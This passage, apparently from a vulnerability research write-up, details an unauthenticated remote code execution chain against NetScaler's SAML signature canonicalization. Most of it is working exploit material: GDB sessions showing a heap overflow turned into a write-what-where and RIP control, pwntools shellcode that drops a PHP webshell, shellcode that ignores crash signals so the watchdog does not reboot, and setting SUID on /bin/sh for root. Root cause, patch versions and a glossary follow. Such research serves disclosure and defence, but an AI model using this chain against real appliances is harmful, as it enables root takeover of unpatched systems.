The researchers placed breakpoints (instructions to the debugger to pause the program at a chosen point) on functions throughout the backtrace and worked backwards, landing on splitPktInner. After decompiling it (turning the compiled machine code back into readable C-like code), setting a breakpoint and triggering the overflow again, they had control of the value in rdi:
Program received signal SIGBUS, Bus error.
0x00000000015d128b in splitPktInner ()
(gdb) p/x $rdi
$1 = 0x4d4d4d4d4d4d43d3
rdi is a register, and on this platform it is used to pass the first argument to a function. The value is the same M-filled pattern, which means the attacker's data is being used as an argument here.
splitPktInner calls memcpy at around 0x15D128B. Inspecting the arguments just before the call showed:
// a3 is a freshly-allocated chunk that we are corrupting its header via the overflow
// a1 is a ptr to a chunk holding our canonicalized data
memcpy(*(a3 + 0x50), // DEST = poisoned data pointer
*(a1 + 0x50), // SRC = our canon
*(a1 + 0xE0) - *(a1 + 0x50)); // LEN = packet length
Line by line:
- The two
//lines are comments explaining the setup.a3is a freshly allocated memory chunk whose header the overflow has corrupted.a1is a pointer to a chunk holding the canonicalized data. memcpy(*(a3 + 0x50), ...)is the destination.a3 + 0x50is an address inside the corrupted chunk, and*(...)reads the value stored there. That value is a pointer, and because the attacker corrupted it, it is "poisoned": it points wherever the attacker chose.*(a1 + 0x50)is the source: a pointer stored inside the chunk holding the canonicalized data, which is also attacker-controlled.*(a1 + 0xE0) - *(a1 + 0x50)is the length: one pointer minus another, which works out to the packet length.
The 0x43d3 comes from arithmetic. The researchers planted a block of M bytes at a3+0x50, but splitPktInner adjusts that value by the packet length before handing it to memcpy:
dest = *(a3+0x50) - pktlen
pktlen means packet length, the number of bytes in the network packet. The packet was 0x97A (2426) bytes, so:
0x4D4D4D4D4D4D4D4D our planted M tag at a3+0x50 ("MMMMMMMM")
- 0x0000097A minus the packet length
--------------------------
0x4D4D4D4D4D4D43D3 the dest ns_memcpy_avx faulted on
This is ordinary subtraction in hexadecimal. The top line is the planted value; the middle line is the packet length; the bottom line is the result, which matches the crashing address exactly. That is why the low bytes were 0x43d3 and not 0x4d4d: the subtraction borrowed from them.
The destination is a value the attacker fully controls, minus a length the attacker also controls. To land the copy on address X, adjust the overflow length so the subtraction drops it on X. In other words, the attacker can aim the write.
The source is also attacker-controlled. For a while the researchers assumed it was an internal framing header (bookkeeping bytes the program adds itself), which cost them time. It is *(a1+0x50), and a1 is the chunk holding the canonicalized PrefixList. Confirmed at the splitPktInner breakpoint before the copy runs:
(gdb) p/x $rsi
$2 = 0x1124000a0
(gdb) x/32bx $rsi
0x1124000a0: 0x4d 0x30 0x30 0x30 0x30 0x30 0x30 0x30 "M0000000"
0x1124000a8: 0x4d 0x30 0x30 0x30 0x30 0x30 0x30 0x38 "M0000008"
0x1124000b0: 0x4d 0x30 0x30 0x30 0x30 0x30 0x31 0x36 "M0000016"
...
Line by line:
(gdb) p/x $rsiprints the value ofrsi, the register that holds the second argument (the source).$2 = 0x1124000a0is that value: an address in memory.(gdb) x/32bx $rsiasks GDB to show 32 bytes in hexadecimal starting at that address.- Each following line shows 8 bytes and their ASCII interpretation on the right.
0x4disM,0x30is0, and so on, so the bytes spellM0000000,M0000008,M0000016.
Those M0000000 M0000008 M0000016 ... tokens are the markers, byte for byte. The result is a memcpy copying from the packet to any address: a write-what-where primitive. A primitive, in security jargon, is a small, reliable capability that can be built on. Write-what-where means "write a value I choose to an address I choose".
Step 4: understand which chunk is smashed
The canonicalized PrefixList is packed into an nsb, a NetScaler network buffer chunk. These chunks sit back to back in the pool on a fixed stride of 0x980, each with a small header at the front and a data area starting at +0x180:
chunk N (a1, holds our canon) chunk N+1 (a3, the one we corrupt)
+---------------------------------+ +---------------------------------+
| header | data buffer @ +0x180 | | header | data |
| | our canon lives here | | +0x00 type magic | |
| | ...and keeps going... | ==> | +0x50 data pointer | <-- tag |
| | | | +0x60 freelist link | |
+---------------------------------+ +---------------------------------+
^
write runs off the end
of this data buffer
This is a diagram, not code. Reading it:
- The left box is chunk N, the one holding the canonicalized data. It has a header at the front and a data buffer starting at offset
+0x180(384 bytes in). - The right box is chunk N+1, the neighbour. Its header has fields at fixed offsets:
+0x00holds a "type magic" (a constant value that identifies the chunk type),+0x50holds a data pointer,+0x60holds a freelist link (a pointer to the next free chunk). - The arrow
==>shows the write running off the end of chunk N's data buffer and into chunk N+1's header. - The
^and the note at the bottom mark where the write escapes.
When the canonical form is bigger than the data buffer it is meant to fit in, it keeps writing, runs off the end of chunk N and spills onto the header of the next chunk. That header holds the fields the allocator and packet code trust: the type magic at +0x00, the data pointer at +0x50, the freelist link at +0x60. The overflow is a plain linear write from one chunk's data area into its neighbour's metadata. This class of bug is called a heap overflow: writing past the end of a block of memory on the heap (the general-purpose pool of memory a program uses for data).
Step 5: sweep the overflow size
Small payload changes moved the crash, which was maddening. The researchers varied the overflow size on the theory that the size determines which chunk is clobbered and how deep into its header the write reaches. A short overflow might only touch the neighbour's type field; a bigger one reaches +0x50 and +0x60; bigger still and it runs into the chunk after that. Because chunks come off a freelist, the size also changes which chunk is handed back as a3 later. The overflow length is a dial that picks both the victim chunk and which of its fields get owned.
They swept it on purpose: pick a size, break on NetScaler's allocator (which appears to be ns_alloc_jumbo_nsb) and on splitPktInner, dump the freshly allocated a3 header, and see which marker bytes landed on which field. This is why the self-describing N%07d markers were built: if a field reads back as N0000744, byte 744 of the PrefixList landed there, and that is the precise byte to tweak to steer the field. %07d is a formatting instruction meaning "a decimal number padded with zeros to seven digits", so N0000744 is marker number 744.
A dump of a smashed a3 header mid-sweep:
(gdb) p/x $rdi
$3 = 0x112d30000
(gdb) x/gx $rdi
0x112d30000: 0x303030304e303030
(gdb) x/gx $rdi+0x50
0x112d30050: 0x4d4d4d4d4d4d4d4d
(gdb) x/gx $rdi+0x60
0x112d30060: 0x0000000112d30000
Line by line:
(gdb) p/x $rdiprintsrdi, which here holds the address of the chunk being inspected.$3 = 0x112d30000is that address.(gdb) x/gx $rdishows 8 bytes (a "giant" word,gx) at the start of the chunk.0x303030304e303030is the marker bytes in little-endian order, which spellN0000000when read as text.(gdb) x/gx $rdi+0x50shows the field at offset+0x50. It is0x4d4d4d4d4d4d4d4d, theMtag, so the attacker owns this field.(gdb) x/gx $rdi+0x60shows the field at offset+0x60. It is0x0000000112d30000, a real chunk address, pinned so the allocator does not choke.
With byte-for-byte ownership of header fields, the process became "pick the byte, set the value". a3+0x50 steers where the memcpy writes. a3+0x60 is pinned to a real chunk address so the allocator does not choke on a marker when it walks the freelist. Everything else is left as harmless N markers.
Step 6: turn the primitive into RIP control
The binary is non-PIE and there is no ASLR, so every function and global lives at a fixed, known address. No info leak is needed. Unpacking those terms:
- PIE (position-independent executable) is a build option that lets a program be loaded at a random address each time. Non-PIE means it always loads at the same address.
- ASLR (address space layout randomisation) is an operating-system feature that shuffles the addresses of memory regions on each run, so an attacker cannot know where things are. No ASLR means the addresses are predictable.
- An info leak is a bug that reveals an address to the attacker, which is normally needed to defeat ASLR. Here, none is needed.
Overwriting a function pointer looked easiest. A function pointer is a variable that holds the address of a function, so the program can decide at runtime which function to call. If an attacker controls the pointer, they control where execution goes. The __free_hook technique (a well-known trick on some systems where a global pointer is called when memory is freed) did not work for reasons the researchers never worked out, so they looked for NetScaler-specific candidates.
pe_tx_pkt was executed regularly, and inside it a pointer named tx_pkt_complete_fptr is loaded and jumped to:
0x1E1A61F: mov rax, cs:tx_pkt_complete_fptr
0x1E1A626: pop rbp
0x1E1A627: jmp rax
Line by line:
0x1E1A61F: mov rax, cs:tx_pkt_complete_fptrloads the value of the global variabletx_pkt_complete_fptrinto theraxregister.cs:means the variable lives in a fixed data segment.0x1E1A626: pop rbprestores a saved register value from the stack. The stack is the region of memory used for function calls and local variables.0x1E1A627: jmp raxjumps to the address inrax. Whatever value the attacker puts in that variable is where the CPU goes next.
Overwriting its value with the write-what-where primitive produced a different crash:
Program received signal SIGSEGV, Segmentation fault.
0x0000000001e1a627 in pe_tx_pkt ()
(gdb) x/i $rip
=> 0x1e1a627 <pe_tx_pkt+151>: jmp rax
(gdb) p/x $rax
$1 = 0x303030304e343437 # "744N0000" -> our canon, and this is exactly rax at jmp rax
Line by line:
SIGSEGV, Segmentation faultis another kind of crash: the program tried to access memory it is not allowed to.0x0000000001e1a627 in pe_tx_pkt ()is where it happened: at thejmp raxinstruction.(gdb) x/i $ripshows the instruction at the instruction pointer, confirming it isjmp rax.(gdb) p/x $raxprints the value being jumped to.$1 = 0x303030304e343437is that value. Read as text (little-endian), it spells744N0000, which is one of the attacker's markers. The comment notes that this is exactlyraxat the jump.
The $rax value is ASCII from the PrefixList, and the 744 marker shows it landed around byte 744 of the data. Bytes 749 to 756 of the canon are the eight that end up in tx_pkt_complete_fptr. Setting those eight bytes to a chosen value and sending again:
(gdb) x/i $rip
=> 0x1e1a627 <pe_tx_pkt+151>: jmp rax
(gdb) p/x $rax
$2 = 0xdeadbeefdeadbeef # fully controlled now
0xdeadbeefdeadbeef is a deliberately silly value the researchers chose to prove they control the register completely. It is not a real address; it is a test. That is full RIP control: the attacker decides which instruction the CPU runs next. RIP is the instruction pointer register.
Step 7: jump to shellcode on the heap
nsppe lacks almost all of the protections you would hope for, and the heap is executable. Normally modern systems mark memory as either writable or executable, not both, so an attacker who can write data cannot also run it. Here, the heap is RWX: readable, writable and executable. There is no ASLR, and the address of the heap chunk is always the same on a freshly spawned process, which can be arranged by crashing nsppe once to force a respawn. In the researchers' testing, on their version of NetScaler, a fresh nsppe instance always had the PrefixList data at 0x112d30000 on the heap, RWX.
Shellcode is a small piece of machine code that an attacker gets the CPU to run, usually to start a shell or write a file. The write-what-where overwrites tx_pkt_complete_fptr with the address of the shellcode on the heap. pe_tx_pkt loads that pointer into rax, hits jmp rax, and jumps into the shellcode:

Step 8: drop a webshell
Following the strategy of earlier NetScaler research, the shellcode drops a PHP webshell at:
/var/vpn/theme/x.php
A webshell is a small script placed on a web server that lets an attacker run commands through their browser. PHP is a programming language commonly used for web pages. The path is a location on the appliance's disk where the web server will serve the file.
All that was needed were the open, write and close syscalls to write the string <?php echo(system($_GET[0])); ?> to disk. A syscall is a request from a program to the operating system to do something on its behalf, like open a file or write bytes. The string is PHP code: it takes whatever is in the URL parameter 0 and runs it as a system command, then prints the output.
sc += shellcraft.pushstr("/var/vpn/theme/x.php")
sc += f"""
mov rdi, rsp
"""
sc += shellcraft.syscall(
SYS_open,
"rdi",
O_WRONLY | O_CREAT | O_TRUNC,
MODE
)
sc += """
mov r12, rax
"""
content = "<?php echo(system($_GET[0])); ?>"
sc += shellcraft.pushstr(content)
sc += """
mov rdi, r12
mov rsi, rsp
"""
sc += shellcraft.syscall(
SYS_write,
"rdi",
"rsi",
len(content)
)
sc += """
mov rdi, r12
"""
sc += shellcraft.syscall(
SYS_close,
"rdi"
)
This is Python using pwntools, a library that helps build shellcode. shellcraft is its shellcode helper. Line by line:
sc += shellcraft.pushstr("/var/vpn/theme/x.php")appends instructions that put the file path onto the stack, so the shellcode can refer to it.sc += f""" mov rdi, rsp """appends an instruction that copies the stack pointer (rsp) intordi, the register used for the first argument. This makesrdipoint at the path string.sc += shellcraft.syscall(SYS_open, "rdi", O_WRONLY | O_CREAT | O_TRUNC, MODE)appends theopensyscall.SYS_openis its number. The arguments are the path (rdi), the flags (write-only, create if missing, truncate if it exists), and the file mode (permissions).sc += """ mov r12, rax """saves the return value ofopen(the file handle) inr12, a register that survives the next syscall.content = "<?php echo(system($_GET[0])); ?>"is the webshell text.sc += shellcraft.pushstr(content)puts that text on the stack.sc += """ mov rdi, r12; mov rsi, rsp """sets up thewritesyscall:rdiis the file handle,rsipoints at the text on the stack.sc += shellcraft.syscall(SYS_write, "rdi", "rsi", len(content))appends thewritesyscall, with the length of the text.sc += """ mov rdi, r12 """sets up theclosesyscall with the file handle.sc += shellcraft.syscall(SYS_close, "rdi")appends theclosesyscall.
Jumping to the shellcode created the file:

Two problems remained. The first was a host that crashes:

The second was Pitboss.
Step 9: deal with Pitboss
Every time nsppe crashes, a process named pitboss is notified and the entire NetScaler instance reboots.

A process is a running program. pitboss is a separate process that is notified when nsppe crashes, and the instance reboots. Waiting for the reboot and then hitting the webshell does not work:

None of the files dropped survive a reboot. Looping on the webshell and hitting it before the device reboots does not work either, because nsppe handles the entire network stack: the moment it crashes, not a single packet gets through. The network stack is the software that handles all network traffic; if it is down, nothing can reach the webshell.
The classic answer is process continuity: have the shellcode repair everything corrupted on the way in so nsppe never crashes. That was not viable here, because far too much was corrupted, and restoring some of the clobbered values would have required an info leak the researchers did not have.
The idea they settled on: how does pitboss know the process crashed? The quickest way to build such a thing would be for the crashing process to notify pitboss from a signal handler. A signal is a notification the operating system sends to a process, for example "you touched bad memory". A signal handler is a function the program registers to run when that signal arrives. That is exactly what happens. nsppe registers handlers for SIGSEGV, SIGBUS and friends, and when one fires, the callback tells pitboss that something has gone wrong and the box needs restarting.
To neutralise the handlers, the shellcode needs the sigaction syscall, which is the system call used to register or change a signal handler:

Additional shellcode tears down every signal handler:
SYS_sigaction = 416
SIG_IGN = 1
signals = [
4,
5,
6,
8,
10,
11
]
sc = """
xor eax,eax
push rax
push rax
push rax
push 1
"""
for sig in signals:
sc += f"""
mov rsi,rsp
xor edx,edx
push {sig}
pop rdi
push {SYS_sigaction}
pop rax
syscall
"""
Line by line:
SYS_sigaction = 416is the syscall number forsigactionon this platform.SIG_IGN = 1is the special value meaning "ignore this signal".signals = [4, 5, 6, 8, 10, 11]is the list of signal numbers to neutralise. These are the onesnsppeuses to notice a crash.sc = """ xor eax,eax; push rax; push rax; push rax; push 1 """builds the start of the shellcode.xor eax,eaxzeroes theeaxregister. The threepush raxput zero values on the stack, andpush 1puts the value 1 there. Together they prepare a small structure on the stack thatsigactionwill read.for sig in signals:loops over each signal number.mov rsi,rsppointsrsi(the second argument) at that structure on the stack.xor edx,edxzeroesedx(the third argument).push {sig}andpop rdiput the signal number intordi(the first argument).push {SYS_sigaction}andpop raxput the syscall number intorax, which is how the CPU knows which syscall to make.syscallperforms the syscall.
After sending this shellcode, the NetScaler error log showed a new entry: instead of rebooting the entire machine, pitboss simply respawned nsppe. The webshell dropped by the shellcode survives.

That is code execution, but as nobody:

Step 10: from nobody to root
nsppe already runs as root, so the shellcode executes as root. The webshell is different: when the freshly written shell is requested, the process that executes the PHP is the web server, which runs as nobody. nobody is a deliberately unprivileged account used for services that should not have power.

Borrowing a trick from Caleb Gross at Bishop Fox, the shellcode sets the SUID bit on /bin/sh. SUID (set user ID) is a permission bit that makes a program run with the privileges of its owner rather than the user who started it. If /bin/sh is owned by root and has SUID set, any command run through it executes with an EUID of root. EUID is the effective user ID, the identity the operating system actually uses for permission checks. Any command run through the webshell then executes with an EUID of root:

Root cause
During SAML signature canonicalization, earlier versions of NetScaler copy attacker-controlled data from the ds:SignedInfo element into a fixed-size global buffer without checking whether it fits. The PrefixList attribute of <ec:InclusiveNamespaces> accepts almost any string, subject only to each space-separated value being unique, and the canonicalized form is packed into an nsb network buffer chunk whose data area starts at +0x180 with a fixed stride of 0x980. When the canonical form is larger than the data buffer, the write continues past the end of the chunk and into the header of the adjacent chunk, corrupting the type magic at +0x00, the data pointer at +0x50 and the freelist link at +0x60.
The corrupted data pointer is later trusted by splitPktInner, which computes dest = *(a3+0x50) - pktlen and passes it to memcpy together with a source pointer into the attacker's canonicalized data and a length derived from the packet. That yields a write-what-where. Because nsppe is non-PIE with no ASLR and an executable heap, the primitive is enough to overwrite the tx_pkt_complete_fptr function pointer and redirect execution to shellcode at a fixed heap address.
Existing defences did not stop the chain: the binary lacks almost all of the protections you would hope for, there is no ASLR, and the heap is executable. The 63.18 patch adds explicit size checks around these copies.
Impact
The vulnerability is unauthenticated and remotely reachable when the appliance is configured to use SAML as either a Service Provider or an Identity Provider. Unauthenticated means the attacker does not need an account or password; remotely reachable means they can do it over the network. An attacker can corrupt packet-engine state, crash nsppe, and, with the full chain, achieve remote code execution as root inside nsppe. The shellcode can write files to disk, and with the SUID bit set on /bin/sh, commands run through the dropped webshell execute with an EUID of root.
The practical limits are worth stating: crashing nsppe triggers pitboss and reboots the appliance, which destroys dropped files, and while nsppe is down no packets get through. The chain depends on the fixed heap address of the PrefixList data on a freshly spawned nsppe, which the researchers arranged by crashing the process once to force a respawn, and on the absence of ASLR and the executable heap in the tested version.
Fix
The 63.18 patch adds explicit size checks around the copies, rejecting a SignedInfo whose size exceeds the limit with SAML signature validation failed: SignedInfo size (%u bytes) is too large (inline ns). Citrix lists as affected 14.1 before 14.1-72.61 and 13.1 before 13.1-63.18. The report describes no other mitigation.
Variants to test
- Send an oversized
PrefixListin<ec:InclusiveNamespaces>insideCanonicalizationMethodon any SAML-configured NetScaler below the fixed versions, and watch for aSIGBUSinns_memcpy_avxor a crash ofnsppe. A positive result is a crash whose faulting pointer contains your marker bytes. - The report notes Transforms can also contain a PrefixList. A positive result is the same canonicalization overflow.
- Sweep the overflow length and break on
ns_alloc_jumbo_nsbandsplitPktInner, dumping thea3header. A positive result is a header field reading back as one of yourN%07dmarkers, telling you which payload byte owns which field. - Check whether
tx_pkt_complete_fptris reachable and overwritable on other builds, and whether the heap address of the canonicalized data is stable after a forced respawn. A positive result is$raxatjmp raxequal to your chosen value. - Test whether the signal handlers for
SIGSEGV,SIGBUSand friends can be ignored withsigactionon other versions, and whetherpitbossrespawns rather than reboots. A positive result is a respawnednsppewith your dropped file still on disk.
Glossary
- Allocator: the part of a program that hands out and reclaims blocks of memory, keeping bookkeeping (metadata) about each block.
- ASLR: address space layout randomisation; an operating-system feature that shuffles memory addresses on each run so attackers cannot predict them.
- Assertion: in SAML, the statement about a user that is being signed.
- Attribute: a name=value pair inside an XML tag, such as
Algorithm="...". - Backtrace: the list of function calls that led to the current point in a program, like a stack of plates.
- Binary: a compiled program, the file the computer actually runs.
- Breakpoint: an instruction to a debugger to pause the program at a chosen point.
- Buffer: a reserved block of memory used to hold data temporarily.
- C14n: short for canonicalization.
- Canonicalization: rewriting XML into one standard, tidied-up form so both sides hash the same bytes.
- Crash: the program stopping because it did something impossible, such as reading memory it is not allowed to.
- CVE: a public catalogue number for a known vulnerability, like a library reference number.
- Debugger: a tool that lets you pause a running program, inspect its memory and registers, and step through it.
- Diaphora: a tool for comparing functions between two versions of a binary.
- EUID: effective user ID; the identity the operating system actually uses for permission checks.
- Executable heap: heap memory that is allowed to run code, not just hold data.
- Freelist: the list of memory blocks that are free and waiting to be reused.
- Function: a named block of code that does one job.
- Function pointer: a variable that holds the address of a function, so the program can choose at runtime which function to call.
- Fuzzing: feeding a program lots of varied inputs and watching for crashes or odd behaviour.
- GDB: the GNU debugger, used to inspect and control running programs.
- Heap: the general-purpose pool of memory a program uses for data.
- Heap overflow: writing past the end of a block of memory on the heap.
- IdP: Identity Provider; the system that signs a statement saying who a user is.
- Info leak: a bug that reveals an address to the attacker, normally needed to defeat ASLR.
- Metadata: bookkeeping data about something, here the allocator's records about each memory block.
- Non-PIE: a binary that always loads at the same address, not position-independent.
- nsb: a NetScaler network buffer chunk, the unit of memory used to hold packet data.
- nsppe: NetScaler's packet-processing engine, the program that handles every network packet.
- PHP: a programming language commonly used for web pages.
- PIE: position-independent executable; a build option that lets a program load at a random address.
- Pitboss: the NetScaler process that watches
nsppeand restarts the machine if it dies. - Primitive: a small, reliable capability in security jargon, such as write-what-where.
- Process: a running program.
- Process continuity: repairing everything corrupted on the way in so the process never crashes.
- pwntools: a Python library that helps build shellcode and interact with programs.
- Register: a tiny, very fast storage slot inside the CPU, such as
raxorrdi. - Remote code execution: running your own code on someone else's machine over the network.
- Reversing: reading a compiled program to understand what it does, since the source is not available.
- RIP control: the attacker decides which instruction the CPU runs next, by controlling the instruction pointer register.
- Root: the all-powerful administrator account on a Unix-like system.
- RWX: readable, writable and executable; memory that can be read, changed and run as code.
- SAML: a standard way for two systems to agree that a user has logged in, using signed statements.
- Service Provider (SP): the system that checks a SAML statement and lets the user in.
- Shellcode: a small piece of machine code an attacker gets the CPU to run.
- SIGBUS / SIGSEGV: names of crash signals on Unix-like systems; both mean the program touched memory it should not have.
- Signal: a notification the operating system sends to a process.
- Signal handler: a function a program registers to run when a particular signal arrives.
- Size check: comparing the amount of data against the space available and refusing if it does not fit.
- Stack: the region of memory used for function calls and local variables.
- Stride: the fixed distance between consecutive blocks in memory.
- SUID: set user ID; a permission bit that makes a program run with the privileges of its owner.
- Symbols: names of functions and variables in a binary; often stripped out to save space.
- Syscall: a request from a program to the operating system to do something on its behalf.
- Unauthenticated: reachable without an account or password.
- Webshell: a small script placed on a web server that lets an attacker run commands through a browser.
- Write-what-where: a primitive that lets an attacker write a value they choose to an address they choose.
- XML: a text format where data is wrapped in tags like
<Signature>and</Signature>.